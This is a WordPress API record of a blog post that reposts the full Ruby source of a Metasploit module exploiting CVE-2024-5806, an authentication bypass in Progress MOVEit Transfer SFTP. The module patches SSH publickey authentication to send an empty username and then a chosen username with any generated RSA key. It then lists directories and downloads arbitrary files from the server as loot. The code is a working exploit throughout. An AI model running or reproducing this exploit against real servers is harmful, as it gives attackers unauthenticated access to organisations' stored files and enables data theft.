{"id":59297,"date":"2024-08-31T23:40:38","date_gmt":"2024-08-31T20:40:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180703\/progress_moveit_sftp_fileread_cve_2024_5806.rb.txt"},"modified":"2024-08-31T23:40:38","modified_gmt":"2024-08-31T20:40:38","slug":"progress-moveit-sftp-authentication-bypass-for-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/progress-moveit-sftp-authentication-bypass-for-arbitrary-file-read\/","title":{"rendered":"Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<br \/>require &#8216;net\/ssh\/transport\/session&#8217;<br \/>require &#8216;net\/sftp&#8217;<br \/>require &#8216;openssl&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<\/p>\n<p>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The<br \/>following version are affected:<\/p>\n<p>* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)<br \/>* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)<br \/>* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)<\/p>\n<p>The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing<br \/>the contents of a directory, and the reading of an arbitrary file.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sfewer-r7&#8217; # MSF Module &amp; Rapid7 Analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-5806&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/44EZLG2xgL\/cve-2024-5806\/rapid7-analysis&#8217;] # AttackerKB Rapid7 Analysis.<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-06-25&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RHOST,<br \/>Opt::RPORT(22),<br \/>OptBool.new(&#8216;STORE_LOOT&#8217;, [false, &#8216;Store the target file as loot&#8217;, true]),<br \/>OptString.new(&#8216;TARGETUSER&#8217;, [true, &#8216;A valid username to authenticate as.&#8217;, nil]),<br \/>OptString.new(&#8216;TARGETFILE&#8217;, [true, &#8216;The full path of a target file or directory to read.&#8217;, &#8216;\/&#8217;]),<br \/>Opt::Proxies<br \/>])<br \/>end<\/p>\n<p># This method will be used by net\/ssh when creating a new TCP socket. We need this so the net\/ssh library will<br \/># honor Metasploit&#8217;s network pivots, and route a connection through the expected session if applicable.<br \/>def open(host, port, _connection_options = nil)<br \/>vprint_status(&#8220;Creating Rex::Socket::Tcp to #{host}:#{port}&#8230;&#8221;)<br \/>Rex::Socket::Tcp.create(<br \/>&#8216;PeerHost&#8217; =&gt; host,<br \/>&#8216;PeerPort&#8217; =&gt; port,<br \/>&#8216;Proxies&#8217; =&gt; datastore[&#8216;Proxies&#8217;],<br \/>&#8216;Context&#8217; =&gt; {<br \/>&#8216;Msf&#8217; =&gt; framework,<br \/>&#8216;MsfExploit&#8217; =&gt; self<br \/>}<br \/>)<br \/>end<\/p>\n<p>def check<br \/># Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)<br \/># service and we pull out the servers version string.<br \/>transport = ::Net::SSH::Transport::Session.new(<br \/>datastore[&#8216;RHOST&#8217;],<br \/>{<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/># Use self as a proxy for the net\/ssh library, to allow us to use Metasploit&#8217;s Rex sockets, which will honor pivots.<br \/>proxy: self<br \/>}<br \/>)<\/p>\n<p>ident = transport.server_version.version<\/p>\n<p># We test the SSH version string for a known value of MOVEit SFTP.<br \/>return Msf::Exploit::CheckCode::Safe(ident) unless ident == &#8216;SSH-2.0-MOVEit Transfer SFTP&#8217;<\/p>\n<p># We cannot get a product version number, so the best we can do is return Detected.<br \/>Msf::Exploit::CheckCode::Detected(ident)<br \/>rescue ::Rex::ConnectionRefused<br \/>Msf::Exploit::CheckCode::Unknown(&#8216;Connection Refused&#8217;)<br \/>rescue ::Rex::HostUnreachable<br \/>Msf::Exploit::CheckCode::Unknown(&#8216;Host Unreachable&#8217;)<br \/>rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout<br \/>Msf::Exploit::CheckCode::Unknown(&#8216;Connection Timeout&#8217;)<br \/>end<\/p>\n<p>def run<br \/># We want to change the behaviour of the build_request method. So first we alias the original build_request<br \/># method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.<br \/>::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)<\/p>\n<p># Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon<br \/># the initial publickey auth request, then when sending the signature response to the server, we provide the username<br \/># of the valid user account we want to authenticate as.<br \/>::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|<br \/>orig_build_request(pub_key, has_sig ? username : &#8221;, next_service, alg, has_sig)<br \/>end<\/p>\n<p>print_status(&#8220;Authenticating as: #{datastore[&#8216;TARGETUSER&#8217;]}@#{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}&#8221;)<\/p>\n<p># With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get<br \/># back a valid SFTP session which we can interact with.<br \/>::Net::SFTP.start(<br \/>datastore[&#8216;RHOST&#8217;],<br \/>datastore[&#8216;TARGETUSER&#8217;],<br \/>{<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>auth_methods: [&#8216;publickey&#8217;],<br \/># The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new<br \/># key (in PEM format) every time we exploit the vulnerability.<br \/>key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],<br \/># Use self as a proxy for the net\/ssh library, to allow us to use Metasploit&#8217;s Rex sockets, which will honor pivots.<br \/>proxy: self<br \/>}<br \/>) do |sftp|<br \/>if File.directory? datastore[&#8216;TARGETFILE&#8217;]print_status(&#8220;Listing directory: #{datastore[&#8216;TARGETFILE&#8217;]}&#8221;)<\/p>\n<p>sftp.dir.glob(datastore[&#8216;TARGETFILE&#8217;], &#8216;**\/*&#8217;) do |entry|<br \/># When we print the entry, we want to print the full path for each entry, so that further use of this module<br \/># can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with<br \/># permission, sizes and timestamps) a file\/dir name but no path information. As we are using glob to<br \/># recursively list the contents of all sub folders, we reconstitute the full path for every entry before<br \/># printing it.<br \/>entry_full_path = File.join(datastore[&#8216;TARGETFILE&#8217;], entry.name)<\/p>\n<p>print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))<br \/>end<br \/>else<br \/>print_status(&#8220;Downloading file: #{datastore[&#8216;TARGETFILE&#8217;]}&#8221;)<\/p>\n<p>read_file(sftp, datastore[&#8216;TARGETFILE&#8217;])<br \/>end<br \/>end<br \/>rescue ::Net::SFTP::StatusException<br \/>print_error(&#8216;SFTP Status Exception.&#8217;)<br \/>rescue ::Net::SSH::AuthenticationFailed<br \/>print_error(&#8216;SFTP Authentication Failed. Is TARGETUSER a valid username?&#8217;)<br \/>rescue ::Rex::ConnectionRefused<br \/>print_error(&#8216;SFTP Connection Refused.&#8217;)<br \/>rescue ::Rex::HostUnreachable<br \/>print_error(&#8216;SFTP Host Unreachable.&#8217;)<br \/>rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout<br \/>print_error(&#8216;SFTP Connection Timeout.&#8217;)<br \/>ensure<br \/>::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)<br \/>end<\/p>\n<p>def read_file(sftp, file_path)<br \/>sftp.open!(file_path) do |open_response|<br \/>unless open_response.ok?<br \/>print_error(&#8216;SFTP open failed. Is the TARGETFILE path correct?&#8217;)<br \/>break<br \/>end<\/p>\n<p>file_size = sftp.fstat!(open_response[:handle]).size<\/p>\n<p>sftp.read!(open_response[:handle], 0, file_size) do |read_response|<br \/>unless read_response.ok?<br \/>print_error(&#8216;SFTP read failed.&#8217;)<br \/>break<br \/>end<\/p>\n<p>file_data = read_response[:data].to_s<\/p>\n<p>if datastore[&#8216;STORE_LOOT&#8217;]print_status(&#8216;Storing the file data to loot&#8230;&#8217;)<\/p>\n<p>store_loot(<br \/>file_path,<br \/>file_data.ascii_only? ? &#8216;text\/plain&#8217; : &#8216;application\/octet-stream&#8217;,<br \/>datastore[&#8216;RHOST&#8217;],<br \/>file_data,<br \/>datastore[&#8216;TARGETFILE&#8217;],<br \/>&#8216;File read from Progress MOVEit SFTP server&#8217;<br \/>)<br \/>else<br \/>print_line(file_data)<br \/>end<br \/>end<br \/>ensure<br \/>sftp.close!(open_response[:handle]) if open_response.ok?<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##require &#8216;net\/ssh\/transport\/session&#8217;require &#8216;net\/sftp&#8217;require &#8216;openssl&#8217; class MetasploitModule &lt; Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. Thefollowing version are affected: * MOVEit Transfer 2023.0.x &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59297","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59297","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59297"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59297\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}